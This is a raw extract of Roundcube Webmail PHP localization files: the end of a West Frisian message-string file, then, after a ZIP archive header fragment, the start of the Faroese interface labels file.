$messages['searchpubkeyservers'] = 'Wolle jo op publike kaai tsjinners sykje nei de missende kaaien?';
$messages['encryptpubkeysfound'] = 'De folgjende publike kaaien binne fûn:';
$messages['nocontactsfound'] = 'Gjin kontakten fûn.';
$messages['contactnotfound'] = 'De opfrege kontakt waard net fûn.';
$messages['sendingfailed'] = 'Berjocht koe net ferstjoerd wurde.';
$messages['senttooquickly'] = 'Wachtsje $sec sekonde(n) foar it ferstjoeren fan dit berjocht.';
$messages['errorsavingsent'] = 'Der barde in flater ûnder it bewarjen fan ferstjoerd berjocht.';
$messages['errorsaving'] = 'Der barde in flater ûnder it bewarjen.';
$messages['errormoving'] = 'Koe berjocht(en) net ferpleatse.';
$messages['errorcopying'] = 'Koe berjocht(en) net kopieare.';
$messages['errordeleting'] = 'Koe berjocht(en) net wiskje.';
$messages['errormarking'] = 'Koe berjocht(en) net markearje.';
$messages['deletecontactconfirm']  = 'Wolle jo selektearre kontakt(en) echt wiskje?';
$messages['deletegroupconfirm']  = 'Wolle jo selektearre groep echt wiskje?';
$messages['deletemessagesconfirm'] = 'Wolle jo selektearre berjocht(en) echt wiskje?';
$messages['deletefolderconfirm']  = 'Wolle jo dizze map echt wiskje?';
$messages['purgefolderconfirm']  = 'Wolle jo echt alle berjochten yn dizze map wiskje?';
$messages['contactdeleting'] = 'Kontakt(en) wiskje...';
$messages['groupdeleting'] = 'Groep wiskje...';
$messages['folderdeleting'] = 'Map wiskje...';
$messages['foldermoving'] = 'Map ferpleatse...';
$messages['foldersubscribing'] = 'Ynskriuwe map...';
$messages['folderunsubscribing'] = 'Utskriuwe map...';
$messages['formincomplete'] = 'It formulier wie net hielendal ynfolle.';
$messages['noemailwarning'] = 'Fier in jildich e-post adres yn.';
$messages['nonamewarning']  = 'Fier in namme yn.';
$messages['nopagesizewarning'] = 'Fier in side grutte yn.';
$messages['nosenderwarning'] = 'Fier stjoerder e-post adres yn.';
$messages['norecipientwarning'] = 'Fier op syn minst ien ûntfanger yn.';
$messages['disclosedrecipwarning'] = 'Alle ûntfangers sjoche de oare e-post adressen. Om dat te foarkommen en harren privacy te beskermjen kinne jo gebrûk meitsje fan it Bcc fjild.';
$messages['disclosedreciptitle'] = 'Tefolle iepenbiere ûntfangers';
$messages['nosubjectwarning']  = 'It "Underwerp" fjild is leech. Wolle jo no ien ynfiere?';
$messages['nosubjecttitle']  = 'Gjin ûnderwerp';
$messages['nobodywarning'] = 'Dit berjocht sûnder tekst ferstjoere?';
$messages['notsentwarning'] = 'It berjocht is net ferstjoerd en hat net-bewarre feroarings. Wolle jo de feroarings fuort smite?';
$messages['restoresavedcomposedata'] = 'In earder komponearre mar net-ferstjoerd berjocht waard fûn.\n\nSubject: $subject\nSaved: $date\n\nWolle jo dit berjocht weromsette?';
$messages['nosearchname'] = 'Fier in kontakt namme of e-post adres yn.';
$messages['notuploadedwarning'] = 'Noch net alle taheaksels binne opladen. Jo kinne wachtsje of it opladen ôfbrekke.';
$messages['searchsuccessful'] = '$nr berjochten fûn.';
$messages['contactsearchsuccessful'] = '$nr kontakten fûn.';
$messages['searchnomatch'] = 'Sykjen hat gjin risseltaten opsmiten.';
$messages['searching'] = 'Sykje...';
$messages['checking'] = 'Kontrolearje...';
$messages['stillsearching'] = 'Noch oan it sykjen...';
$messages['nospellerrors'] = 'Gjin stavering flaters fûn.';
$messages['folderdeleted'] = 'Map mei sukses wiske.';
$messages['foldersubscribed'] = 'Map mei sukses ynskreaun.';
$messages['folderunsubscribed'] = 'Map mei sukses útskreaun.';
$messages['deletedsuccessfully'] = 'Mei sukses wiske.';
$messages['converting'] = 'Opmaak wiskje...';
$messages['messageopenerror'] = 'Koe berjocht net fan tsjinner lade.';
$messages['filelinkerror'] = 'Taheakjen fan bestân mislearre.';
$messages['fileuploaderror'] = 'Bestân oplade mislearre.';
$messages['filesizeerror'] = 'It opladen bestân is grutter as de maksimale grutte fan $size.';
$messages['filecounterror'] = 'Jo kinne maksimaal $count bestânnen yn ien kear oplade.';
$messages['msgsizeerror'] = 'Bestân taheakje mislearre. Maksimum grutte fan in berjocht ($size) oer gien.';
$messages['copysuccess'] = 'Mei sukses $nr kontakten kopiearre.';
$messages['movesuccess'] = 'Mei sukses $nr kontakten ferpleatst.';
$messages['copyerror'] = 'Koe gjin kontakten kopiearje.';
$messages['moveerror'] = 'Koe gjin kontakten ferpleatse.';
$messages['sourceisreadonly'] = 'Dizze adres boarne kin allinnich lêzen wurde.';
$messages['errorsavingcontact'] = 'Koe kontakt adres net bewarje.';
$messages['movingmessage'] = 'Berjocht(en) ferpleatse...';
$messages['copyingmessage'] = 'Berjocht(en) kopiearje...';
$messages['copyingcontact'] = 'Kontakt(en) kopiearje...';
$messages['movingcontact'] = 'Kontakt(en) ferpleatse...';
$messages['deletingmessage'] = 'Berjocht(en) wiskje...';
$messages['markingmessage'] = 'Berjocht(en) markearje...';
$messages['addingmember'] = 'Kontakt(en) oan de groep tafoegje...';
$messages['removingmember'] = 'Kontakt(en) út de groep ferwiderje...';
$messages['receiptsent'] = 'Mei súkses in lêzen ûntfangstbewiis ferstjoerd.';
$messages['errorsendingreceipt'] = 'Koe it ûntfangstbewiis net stjoere.';
$messages['deleteidentityconfirm'] = 'Wolle jo echt dizze identiteit wiskje?';
$messages['nodeletelastidentity'] = 'Jo kinne dizze identiteit net wiskje, it is jo lêste.';
$messages['forbiddencharacter'] = 'Mapnamme befettet in ferbean karakter.';
$messages['selectimportfile'] = 'Selektearje in bestân om op te laden.';
$messages['addresswriterror'] = 'It selektearre adres boek is net skriuwber.';
$messages['contactaddedtogroup'] = 'De kontakten mei sukses oan dizze groep taheakke.';
$messages['contactremovedfromgroup'] = 'De kontakten mei sukses út dizze groep ferwidere.';
$messages['nogroupassignmentschanged'] = 'Gjin groep opdrachten feroare.';
$messages['importwait'] = 'Ymportearjen, in amerijke...';
$messages['importformaterror'] = 'Ymport mislearre! It opladen bestân is net in jildich ymport data bestân.';
$messages['importconfirm'] = '<b>Mei sukses ymportearre $inserted kontakten</b>';
$messages['importconfirmskipped'] = '<b>Oerslein $skipped besteande weardes</b>';
$messages['importmessagesuccess'] = 'Mei sukses $nr berjochten ymportearre';
$messages['importmessageerror'] = 'Ymport mislearre! It opladen bestân is net in jildich berjocht of postfek bestân';
$messages['opnotpermitted'] = 'Operaasje net tastien!';
$messages['nofromaddress'] = 'E-post adres mist yn selektearre identiteit.';
$messages['editorwarning'] = 'Troch te wiskeljen fan berwurker kin tekst opmaak ferlern gean. Wolle jo trochgean?';
$messages['httpreceivedencrypterror'] = 'In fatale konfiguraasje flater. Nim fuortendaliks kontakt op mei jo systeembehearder. <B>Jo berjocht kin net stjoerd wurde.</ B>';
$messages['smtpconnerror'] = 'SMTP Flater ($code): Ferbining mei tsjinner mislearre.';
$messages['smtpautherror'] = 'SMTP Flater ($code): Ferifikaasje mislearre.';
$messages['smtpfromerror'] = 'SMTP Flater ($code): Stjoerder fêststelle mislearre "$from" ($msg).';
$messages['smtptoerror'] = 'SMTP Flater ($code): Untfanger tafoegje mislearre "$to" ($msg).';
$messages['smtprecipientserror'] = 'SMTP Flater: Koe ûntfangers lyst net ferwurkje.';
$messages['smtperror'] = 'SMTP Flater: $msg';
$messages['emailformaterror'] = 'Unjildich e-post adres: $email';
$messages['toomanyrecipients'] = 'Tefolle ûntfangers. Ferminderje it tal fan ûntfangers nei $max.';
$messages['maxgroupmembersreached'] = 'It tal fan groep leden is grutter as it maksimum fan $max.';
$messages['internalerror'] = 'In ynterne flater. Besykje it nochris.';
$messages['contactdelerror'] = 'Koe kontakt(en) net wiskje.';
$messages['contactdeleted'] = 'Kontakt(en) mei sukses wiske.';
$messages['contactrestoreerror'] = 'Koe wiske kontakt(en) net werom sette.';
$messages['contactrestored'] = 'Kontakt(en) mei sukses werom setten.';
$messages['groupdeleted'] = 'Groep mei sukses wiske.';
$messages['grouprenamed'] = 'Groep namme mei sukses feroare.';
$messages['groupcreated'] = 'Groep mei sukses oanmakke.';
$messages['savedsearchdeleted'] = 'Bewarre syk opdracht mei sukses wiske.';
$messages['savedsearchdeleteerror'] = 'Koe bewarre syk opdracht net wiskje.';
$messages['savedsearchcreated'] = 'Syk opdracht mei sukses bewarre.';
$messages['savedsearchcreateerror'] = 'Koe syk opdracht net bewarje.';
$messages['messagedeleted'] = 'Berjocht(en) mei sukses wiske.';
$messages['messagemoved'] = 'Berjocht(en) mei sukses ferpleatst.';
$messages['messagemovedtotrash'] = 'Berjocht(en) mei sukses nei Jiskefet ferpleatse.';
$messages['messagecopied'] = 'Berjocht(en) mei sukses kopieare.';
$messages['messagemarked'] = 'Berjocht(en) mei sukses markeare.';
$messages['autocompletechars'] = 'Fier op syn minst $min tekens yn foar autokompleet.';
$messages['autocompletemore'] = 'Mear oerienkommende risseltaten fûn. Typ mear tekens.';
$messages['namecannotbeempty'] = 'Namme kin net leech wêze.';
$messages['nametoolong'] = 'Namme is te lang.';
$messages['namedotforbidden'] = 'Mapnamme kin net mei in punt begjinne.';
$messages['folderupdated'] = 'Map mei sukses bywurke.';
$messages['foldercreated'] = 'Map mei sukses oanmakke.';
$messages['invalidimageformat'] = 'Gjin jildich ôfbyldings formaat.';
$messages['mispellingsfound'] = 'Stavering flaters ûntdutsen yn it berjocht.';
$messages['parentnotwritable'] = 'Koe map net oanmeitsje/ferhúzje yn selektearre boppelizzende map. Gjin tagong rjochten.';
$messages['messagetoobig'] = 'It berjocht diel is te grut om te ferwurkjen.';
$messages['noscriptwarning'] = 'Warskôging: Dizze webmail tsjinst fereasket Javascript! Om it te brûken moatte jo Javascript ynskeakelje yn jo browser ynstellings.';
$messages['messageissent'] = 'Dit berjocht wie al ferstjoerd, mar noch net bewarre. Wolle jo it no bewarje?';
$messages['errnotfound'] = 'Bestân Net Fûn';
$messages['errnotfoundexplain'] = 'De frege boarne waard net fûn!';
$messages['errfailedrequest'] = 'Mislearre Fersyk';
$messages['errauthorizationfailed'] = 'Autorisaasje Mislearre';
$messages['errunauthorizedexplain'] = 'Koe net nei gean oft jo machtige binne om tagong te krijen ta dizze tsjinst!';
$messages['errrequestcheckfailed'] = 'Fersyk Kontrole Mislearre';
$messages['errcsrfprotectionexplain'] = "Foar jo beskerming, tagong ta dizze boarne is befeilige tsjin CSRF.\nAs jo dit sjogge, hawwe jo net útlogge foar it ferlitten fan de web applikaasje.\n\nMinskelike ynteraksje is no ferplichte om fierder te gean.";
$messages['errcontactserveradmin'] = 'Nim kontakt op mei jo tsjinner-behearder.';
$messages['clicktoresumesession'] = 'Klik hjir om jo foarige sesje te ferfetsjen';
$messages['errcomposesession'] = 'Skriuw berjocht sesje flater';
$messages['errcomposesessionexplain'] = 'Fersyk skriuw berjocht sesje net fûn.';
$messages['clicktocompose'] = 'Klik hjir om in nij berjocht te skriuwen';
PK
h�\0&��8r8r%program/localization/fo_FO/labels.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail client                     |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/labels/
*/


$labels['welcome'] = 'Vælkomin til $product';
$labels['username'] = 'Brúkaranavn';
$labels['password'] = 'Loyniorð';
$labels['server'] = 'Ambætari';
$labels['login'] = 'Rita inn';
$labels['oauthlogin'] = 'Fita inn við $provider';
$labels['menu'] = 'Menu';
$labels['logout'] = 'Rita út';
$labels['mail'] = 'Teldupostur';
$labels['settings'] = 'Stillingar';
$labels['addressbook'] = 'Búðstaðarsavn';
$labels['darkmode'] = 'Myrkt snið';
$labels['lightmode'] = 'LJóst snið';
$labels['inbox'] = 'Postur';
$labels['drafts'] = 'Skitsur';
$labels['sent'] = 'Sent';
$labels['trash'] = 'Skrell';
$labels['junk'] = 'Møsn';
$labels['show_real_foldernames'] = 'Vís verulig nøvn til serligar mappur';
$labels['subject'] = 'Evni';
$labels['from'] = 'Frá';
$labels['sender'] = 'Sendari';
$labels['to'] = 'Til';
$labels['cc'] = 'Cc';
$labels['bcc'] = 'Bcc';
$labels['replyto'] = 'Svara-til';
$labels['followupto'] = 'Fylg við-til';
$labels['date'] = 'Tann';
$labels['size'] = 'Stødd';
$labels['priority'] = 'Raðfesting';
$labels['organization'] = 'Fyritøka';
$labels['readstatus'] = 'Lesistøða';
$labels['listoptions'] = 'Lýs valmøguleikar...';
$labels['listoptionstitle'] = 'Finn boð';
$labels['mailboxlist'] = 'Mappur';
$labels['messagesfromto'] = 'Boðini frá $from til $to ið tilsamans eru $count';
$labels['threadsfromto'] = 'Tráðirnir frá $from til $to ið eru $count';
$labels['messagenrof'] = 'Boð nummar $nr, av $count';
$labels['fromtoshort'] = '$from - $to ið eru $count';
$labels['copy'] = 'Avrita';
$labels['move'] = 'Flyt';
$labels['moveto'] = 'Flyt til...';
$labels['copyto'] = 'Avrita til...';
$labels['download'] = 'Heinta';
$labels['open'] = 'Lat upp';
$labels['showattachment'] = 'Vís';
$labels['showanyway'] = 'Vís tað avlíkavæl';
$labels['filename'] = 'Fílu navn';
$labels['filesize'] = 'Fílu stødd';
$labels['addtoaddressbook'] = 'Legg aftrat búðstaðar bók';
$labels['sun'] = 'Sun';
$labels['mon'] = 'Mán';
$labels['tue'] = 'Týs';
$labels['wed'] = 'Mik';
$labels['thu'] = 'Hós';
$labels['fri'] = 'Frí';
$labels['sat'] = 'Ley';
$labels['sunday'] = 'Sunnudagur';
$labels['monday'] = 'Mánadagur';
$labels['tuesday'] = 'Týsdagur';
$labels['wednesday'] = 'Mikudagur';
$labels['thursday'] = 'Hósdagur';
$labels['friday'] = 'Fríggjardagur';
$labels['saturday'] = 'Leygardagur';
$labels['jan'] = 'Jan';
$labels['feb'] = 'Feb';
$labels['mar'] = 'Mar';
$labels['apr'] = 'Apr';
$labels['may'] = 'Maj';
$labels['jun'] = 'Jun';
$labels['jul'] = 'Jul';
$labels['aug'] = 'Aug';
$labels['sep'] = 'Sep';
$labels['oct'] = 'Okt';
$labels['nov'] = 'Nov';
$labels['dec'] = 'Des';
$labels['longjan'] = 'Januar';
$labels['longfeb'] = 'Februar';
$labels['longmar'] = 'Mars';
$labels['longapr'] = 'Apríl';
$labels['longmay'] = 'Maj';
$labels['longjun'] = 'Juni';
$labels['longjul'] = 'July';
$labels['longaug'] = 'August';
$labels['longsep'] = 'Septembur';
$labels['longoct'] = 'Oktobur';
$labels['longnov'] = 'Novembur';
$labels['longdec'] = 'Desembur';
$labels['today'] = 'Í dag';
$labels['refresh'] = 'Endur innles';
$labels['checkmail'] = 'Kann fyri nýggj boð.';
$labels['compose'] = 'Stovna';
$labels['writenewmessage'] = 'Stovna nýggj boð';
$labels['reply'] = 'Svara';
$labels['replytomessage'] = 'Svara til sendara';
$labels['replytoallmessage'] = 'Svara til listan ella til sendara og allir móttakarir';
$labels['replyall'] = 'Svara øllum';
$labels['replylist'] = 'Svara lista';
$labels['forward'] = 'Send víðari';
$labels['forwardinline'] = 'Svara víðari, við gomlum teksti';
$labels['forwardattachment'] = 'Send víðari sum viðhefting';
$labels['forwardmessage'] = 'Send hesi boð víðari';
$labels['bouncemsg'] = 'Send umaftur (bounce)';
$labels['bounce'] = 'Send umaftur';
$labels['deletemessage'] = 'Strika boð';
$labels['movemessagetotrash'] = 'Koyr boð í skrell';
$labels['printmessage'] = 'Útskriva hesi boð';
$labels['previousmessage'] = 'Vís seinastu boð';
$labels['firstmessage'] = 'Vís fyrstu boð';
$labels['nextmessage'] = 'Vís næstu boð';
$labels['lastmessage'] = 'Vís seinastu boð';
$labels['backtolist'] = 'Aftur til boð lista';
$labels['viewsource'] = 'Vís keldu';
$labels['mark'] = 'Merk';
$labels['markmessages'] = 'Merk boð';
$labels['markread'] = 'Sum lisin';
$labels['markunread'] = 'Sum ólisin';
$labels['markflagged'] = 'Sum viðmerkt';
$labels['markunflagged'] = 'Sum óviðmerkt';
$labels['moreactions'] = 'Fleiri gerir...';
$labels['markallread'] = 'Merk alt sum lisið';
$labels['folders-cur'] = 'Einans vald mappa';
$labels['folders-sub'] = 'Einans vald mappa og undirmappa';
$labels['folders-all'] = 'Allar mappur';
$labels['more'] = 'Meira';
$labels['back'] = 'Aftur';
$labels['options'] = 'Valmøguleikar';
$labels['actions'] = 'Gerðir';
$labels['first'] = 'Fyrst';
$labels['last'] = 'Síðst';
$labels['previous'] = 'Fyrra';
$labels['next'] = 'Seinna';
$labels['select'] = 'Vel';
$labels['all'] = 'Alt';
$labels['none'] = 'Einki';
$labels['currpage'] = 'Hesa síðu';
$labels['isread'] = 'Les';
$labels['unread'] = 'Ólisið';
$labels['flagged'] = 'Viðmerkt';
$labels['unflagged'] = 'Ikk merkt';
$labels['unanswered'] = 'Ikki svara';
$labels['withattachment'] = 'Við viðhefting';
$labels['deleted'] = 'Strika';
$labels['undeleted'] = 'Ikki strika';
$labels['replied'] = 'Svara';
$labels['forwarded'] = 'Víðari sent';
$labels['invert'] = 'Vend við';
$labels['filter'] = 'Síla';
$labels['list'] = 'Listið';
$labels['threads'] = 'Tráðir';
$labels['expand-all'] = 'Spreið alt';
$labels['expand-unread'] = 'Spreið ólisið';
$labels['collapse-all'] = 'Sett saman alt';
$labels['threaded'] = 'Tráða';
$labels['showunread'] = 'Vís ólisin boð';
$labels['autoexpand_threads'] = 'Spreið boð tráðir';
$labels['do_expand'] = 'Allir tráðir';
$labels['expand_only_unread'] = 'einans við ólisin boð';
$labels['fromto'] = 'Frá/Til';
$labels['flag'] = 'Viðmerk';
$labels['attachment'] = 'Viðhefting';
$labels['nonesort'] = 'Einki';
$labels['sentdate'] = 'Sent dato';
$labels['arrival'] = 'Móttikið dato';
$labels['asc'] = 'hækkandi';
$labels['desc'] = 'lækkandi';
$labels['listcolumns'] = 'List teigar';
$labels['listsorting'] = 'Sorterar teiga';
$labels['listorder'] = 'Sorterar rekkjufylgju';
$labels['listmode'] = 'Lista vísing';
$labels['layout'] = 'Snið';
$labels['layoutwidescreen'] = 'Breiðan skíggja';
$labels['layoutdesktop'] = 'Skriviborð';
$labels['layoutlist'] = 'Listið';
$labels['folderactions'] = 'Mappu gerir...';
$labels['compact'] = 'Trýst saman';
$labels['empty'] = 'Tøm';
$labels['importmessages'] = 'Innflyt boð';
$labels['quota'] = 'Disk nýtsla';
$labels['unknown'] = 'ókent';
$labels['unlimited'] = 'óavmarka';
$labels['quotatype'] = 'Kvotu slag';
$labels['quotatotal'] = 'Mark';
$labels['quotaused'] = 'Brúkt';
$labels['quotastorage'] = 'Driv pláss';
$labels['quotamessage'] = 'Tal av boðum';
$labels['shortheaderdate'] = 'Tann $date';
$labels['shortheaderto'] = 'Til $to tann $date';
$labels['shortheaderfrom'] = 'Frá $to tann $date';
$labels['quicksearch'] = 'Skjót leiting';
$labels['searchplaceholder'] = 'Leita...';
$labels['resetsearch'] = 'Nulstilla leiting';
$labels['searchmod'] = 'Leiti minkarir';
$labels['msgtext'] = 'Øll boðini';
$labels['body'] = 'Kroppur';
$labels['type'] = 'Slag';
$labels['namex'] = 'Navn';
$labels['searchscope'] = 'Leita frá';
$labels['currentfolder'] = 'Verandi mappa';
$labels['subfolders'] = 'Hendan og mappur undir hesari';
$labels['allfolders'] = 'Allar mappur';
$labels['searchinterval-1W'] = 'eldri enn eina viku';
$labels['searchinterval-1M'] = 'eldri enn ein mána';
$labels['searchinterval-1Y'] = 'eldri enn eitt ár';
$labels['searchinterval1W'] = 'yngri enn ein vika';
$labels['searchinterval1M'] = 'yngri enn ein mána';
$labels['searchinterval1Y'] = 'yngri enn eitt ár';
$labels['openinextwin'] = 'Opna í nýggjum vindeyga';
$labels['emlsave'] = 'Heinta (.eml)';
$labels['changeformattext'] = 'Vís í reinun teksti formati';
$labels['changeformathtml'] = 'Vís í HTML formati';
$labels['editasnew'] = 'Broyt sum nýtt';
$labels['send'] = 'Send';
$labels['sendmessage'] = 'Send boð';
$labels['savemessage'] = 'Goym sum skitsa';
$labels['addattachment'] = 'Viðheft fíl';
$labels['charset'] = 'Stavusett';
$labels['editortype'] = 'Útgevara slag';
$labels['returnreceipt'] = 'Lat aftur kvittan';
$labels['dsn'] = 'Útflýggja støðu kunngerð';
$labels['mailreplyintro'] = 'Tann $date, skrivaði $sender:';
$labels['originalmessage'] = 'Uppruna boð';
$labels['selectimage'] = 'Vel mynd';
$labels['addimage'] = 'Legg aftar mynd';
$labels['selectmedia'] = 'Vel film';
$labels['addmedia'] = 'Legg aftrat film';
$labels['encrypt'] = 'Brongla';
$labels['encryptmessage'] = 'Brongla boð';
$labels['encryptmessagemailvelope'] = 'Brongla tíni boð við Mailvelo';
$labels['importpubkeys'] = 'Innflyt allmennar lyklar';
$labels['encryptedsendialog'] = 'Sendur brongla boð';
$labels['encryptandsign'] = 'Talgyld og signera';
$labels['keyid'] = 'Lykla ID';
$labels['keylength'] = 'Bit';
$labels['keyexpired'] = 'Útgingi';
$labels['keyrevoked'] = 'Sagt úr gildi';
$labels['bccinstead'] = 'Nýt Bcc';
$labels['insert'] = 'Legg inn';
$labels['recipient'] = 'Móttakari';
$labels['editidents'] = 'Broyt samleikar';
$labels['spellcheck'] = 'Stava';
$labels['checkspelling'] = 'Kanna staving';
$labels['resumeediting'] = 'Taka uppaftur skriving';
$labels['revertto'] = 'Vend aftur til';
$labels['restore'] = 'Endurstovna';
$labels['restoremessage'] = 'Endurstovna boð?';
$labels['ignore'] = 'Skúgva til viks';
$labels['responses'] = 'Svør';
$labels['insertresponse'] = 'Innset eitt svar';
$labels['manageresponses'] = 'Umsit svør';
$labels['newresponse'] = 'Stovna nýtt svar';
$labels['addresponse'] = 'Svara';
$labels['editresponse'] = 'Broyt svar';
$labels['editresponses'] = 'Broyt svør';
$labels['responsename'] = 'Navn';
$labels['responsetext'] = 'Svar tekstur';
$labels['attach'] = 'Viðheft';
$labels['attachments'] = 'Viðheftingar';
$labels['upload'] = 'Uppsend';
$labels['uploadprogress'] = '$percent ($current av $total)';
$labels['close'] = 'Lat aftur';
$labels['messageoptions'] = 'Boð valmøguleikar...';
$labels['togglecomposeoptions'] = 'Skift stovningar møguleikar';
$labels['low'] = 'Lágt';
$labels['lowest'] = 'Lágst';
$labels['normal'] = 'Vanligt';
$labels['high'] = 'Høgt';
$labels['highest'] = 'Hagst';
$labels['nosubject'] = '(einki evni)';
$labels['showimages'] = 'Vís myndir';
$labels['allow'] = 'Loyv';
$labels['alwaysshow'] = 'Vís altíð myndir frá $sender';
$labels['alwaysallow'] = 'Loyv altíð frá $sender';
$labels['isdraft'] = 'Hetta er eini skitsu boð.';
$labels['andnmore'] = '$nr meir...';
$labels['details'] = 'Upplýsingar';
$labels['togglemoreheaders'] = 'Vís meiri boð teksthøvd ';
$labels['togglefullheaders'] = 'Vel ráðan boð teksthøvd';
$labels['htmltoggle'] = 'HTML';
$labels['plaintoggle'] = 'Reiður tekstur';
$labels['savesentmessagein'] = 'Goym boð í ';
$labels['dontsave'] = 'goym ikki';
$labels['maxuploadsize'] = 'Stórsta fílu stødd loyvd er $size';
$labels['addcc'] = 'Legg aftrat Cc';
$labels['addbcc'] = 'Legg aftrat Bcc';
$labels['addreplyto'] = 'Legg aftrat Svara-til';
$labels['addfollowupto'] = 'Legg aftrat Fylg við-til';
$labels['mdnrequest'] = 'Sendarin av hesi boð biður um at verða kunngjørdur tá ið tú lesur hesið boð. Vilt tú kunngerða sendaran?';
$labels['receiptread'] = 'Svara móttakara (les)';
$labels['yourmessage'] = 'Hetta er ein afturvend kvittan av tíni boð';
$labels['receiptnote'] = 'Gevið gætur: Hendan kvittan vísir einans á um boðini vóru sýnd á teldu mótakarans. Har er eingin trygging fyri at móttakarin hevur lisið ella skilt tað ið er í boðunum';
$labels['sendalwaysto'] = 'Send altíð til $email';
$labels['name'] = 'Fult navn';
$labels['firstname'] = 'Fornavn';
$labels['surname'] = 'Eftirnavn';
$labels['middlename'] = 'Millunnavn';
$labels['nameprefix'] = 'Forskoyti';
$labels['namesuffix'] = 'Eftirskoyti';
$labels['nickname'] = 'Eyknevni';
$labels['jobtitle'] = 'Starvsheiti';
$labels['department'] = 'Deild';
$labels['gender'] = 'Kyn';
$labels['maidenname'] = 'Gentunavn';
$labels['email'] = 'Teldupostur';
$labels['phone'] = 'Telefon';
$labels['address'] = 'Búðstaður';
$labels['street'] = 'Gøta';
$labels['locality'] = 'Býur';
$labels['zipcode'] = 'Post kota';
$labels['region'] = 'Kommuna';
$labels['country'] = 'Land';
$labels['birthday'] = 'Føðingardagur';
$labels['anniversary'] = 'Ársdagur';
$labels['website'] = 'Heimasíða';
$labels['instantmessenger'] = 'IM';
$labels['notes'] = 'Notatir';
$labels['male'] = 'maður';
$labels['female'] = 'kona';
$labels['manager'] = 'Leiðari';
$labels['assistant'] = 'Hjálparfólk';
$labels['spouse'] = 'Hjúnafelagi';
$labels['allfields'] = 'Allir teigar';
$labels['search'] = 'Leita';
$labels['searchresult'] = 'Leiti úrslit';
$labels['advsearch'] = 'Framkomin leiting';
$labels['advanced'] = 'Framkomin';
$labels['other'] = 'Annað';
$labels['printcontact'] = 'Útskriva persón';
$labels['typehome'] = 'Heim';
$labels['typework'] = 'Arbeiði';
$labels['typeother'] = 'Annað';
$labels['typemobile'] = 'Fartelefon';
$labels['typemain'] = 'Høvuðs';
$labels['typehomefax'] = 'Heima faks';
$labels['typeworkfax'] = 'Arbeiðis faks';
$labels['typecar'] = 'Bilur';
$labels['typepager'] = 'Persónleitari';
$labels['typevideo'] = 'Sjónband';
$labels['typeassistant'] = 'Hjálparfólk';
$labels['typehomepage'] = 'Heimasíða';
$labels['typeblog'] = 'Bloggur';
$labels['typeprofile'] = 'Umhvarv ';
$labels['addfield'] = 'Legg aftrat teiga...';
$labels['addcontact'] = 'Stovna persón';
$labels['editcontact'] = 'Broyt persón';
$labels['contacts'] = 'Persónar';
$labels['contactproperties'] = 'Persóna eginleikar';
$labels['contactnameandorg'] = 'Navn og felag';
$labels['personalinfo'] = 'Persónligar upplýsingar';
$labels['personal'] = 'Persónlig';
$labels['contactphoto'] = 'Mynd av persóni';
$labels['edit'] = 'Broyt';
$labels['cancel'] = 'Ógilda';
$labels['save'] = 'Goym';
$labels['delete'] = 'Strika';
$labels['discard'] = 'Strika';
$labels['continue'] = 'Víðari';
$labels['ok'] = 'OK';
$labels['rename'] = 'Umdoyp';
$labels['addphoto'] = 'Legg aftrat';
$labels['replacephoto'] = 'Skift út';
$labels['uploadphoto'] = 'Uppsend mynd';
$labels['choosefile'] = 'Vel fíl...';
$labels['choosefiles'] = 'Vel fílar...';
$labels['browse'] = 'Kaga';
$labels['newcontact'] = 'Stovna nýggjan persón';
$labels['deletecontact'] = 'Strika valdir persónar';
$labels['composeto'] = 'Skriva boð til';
$labels['contactsfromto'] = 'Persónar frá $from til $to ið eru $count';
$labels['print'] = 'Skriva út';
$labels['export'] = 'Flyt út';
$labels['exportall'] = 'Flyt út alt';
$labels['exportsel'] = 'Flyt út valt';
$labels['exportvcards'] = 'Út flyt persónar við vCard slagið';
$labels['newgroup'] = 'Stovna nýggjan bólk';
$labels['addgroup'] = 'Stovna bólk';
$labels['grouprename'] = 'Umdoyp bólk';
$labels['groupdelete'] = 'Strika bólk';
$labels['groupassign'] = 'Legg til bólk';
$labels['groupremove'] = 'Strika frá bólkið';
$labels['groupremoveselected'] = 'Strika valdar persónar frá bólki';
$labels['uponelevel'] = 'Upp eitt stig';
$labels['previouspage'] = 'Vís fyrrverandi síðu';
$labels['firstpage'] = 'Vís fyrstu síðu';
$labels['nextpage'] = 'Vís næstu síðu';
$labels['lastpage'] = 'Vís seinastu síðu';
$labels['group'] = 'Bólkur';
$labels['groups'] = 'Bólkar';
$labels['listgroup'] = 'Vís bólka limir';
$labels['personaladrbook'] = 'Persónligir búðstaðir';
$labels['searchsave'] = 'Goym leiting';
$labels['searchdelete'] = 'Strika leiting';
$labels['import'] = 'Innflyt';
$labels['importcontacts'] = 'Innflyt persónar';
$labels['importfromfile'] = 'Inflyt frá fílu';
$labels['importtarget'] = 'Legg persón til';
$labels['importreplace'] = 'Skift út alt búðstaðarsavni';
$labels['importgroups'] = 'Innflyt bólka ásetan';
$labels['importgroupsall'] = 'Øll (stovna bólkar um neyðugt)';
$labels['importgroupsexisting'] = 'Einans fyri bólkar ið longu eru til';
$labels['done'] = 'Liðugt';
$labels['settingsfor'] = 'Stillingar til';
$labels['about'] = 'Um';
$labels['preferences'] = 'Vælmøguleikar';
$labels['userpreferences'] = 'Brúkara vælmøguleikar';
$labels['editpreferences'] = 'Broyt brúkara framíhjárættindi';
$labels['identities'] = 'Samleikar';
$labels['manageidentities'] = 'Umsit samleikar';
$labels['newidentity'] = 'Stovna nýggjan samleika';
$labels['addidentity'] = 'Stovna samleika';
$labels['editidentity'] = 'Broyt samleika';
$labels['identityencryption'] = 'Brongla';
$labels['preferhtml'] = 'Vís HTML';
$labels['defaultcharset'] = 'Sjálvset tekin set';
$labels['htmlmessage'] = 'HTML boð';
$labels['messagepart'] = 'Deilur';
$labels['digitalsig'] = 'Dalgylt Undirskrift';
$labels['dateformat'] = 'Dato format';
$labels['timeformat'] = 'Tíðs format';
$labels['prettydate'] = 'Pen dato';
$labels['setdefault'] = 'Set vanligt';
$labels['autodetect'] = 'Sjálvirki';
$labels['language'] = 'Mál';
$labels['timezone'] = 'Tíðarsona';
$labels['pagesize'] = 'Rekkjur per síðu';
$labels['signature'] = 'Undirskrift';
$labels['dstactive'] = 'Summartíð';
$labels['showinextwin'] = 'Opna boðí nýggjun vindeyga';
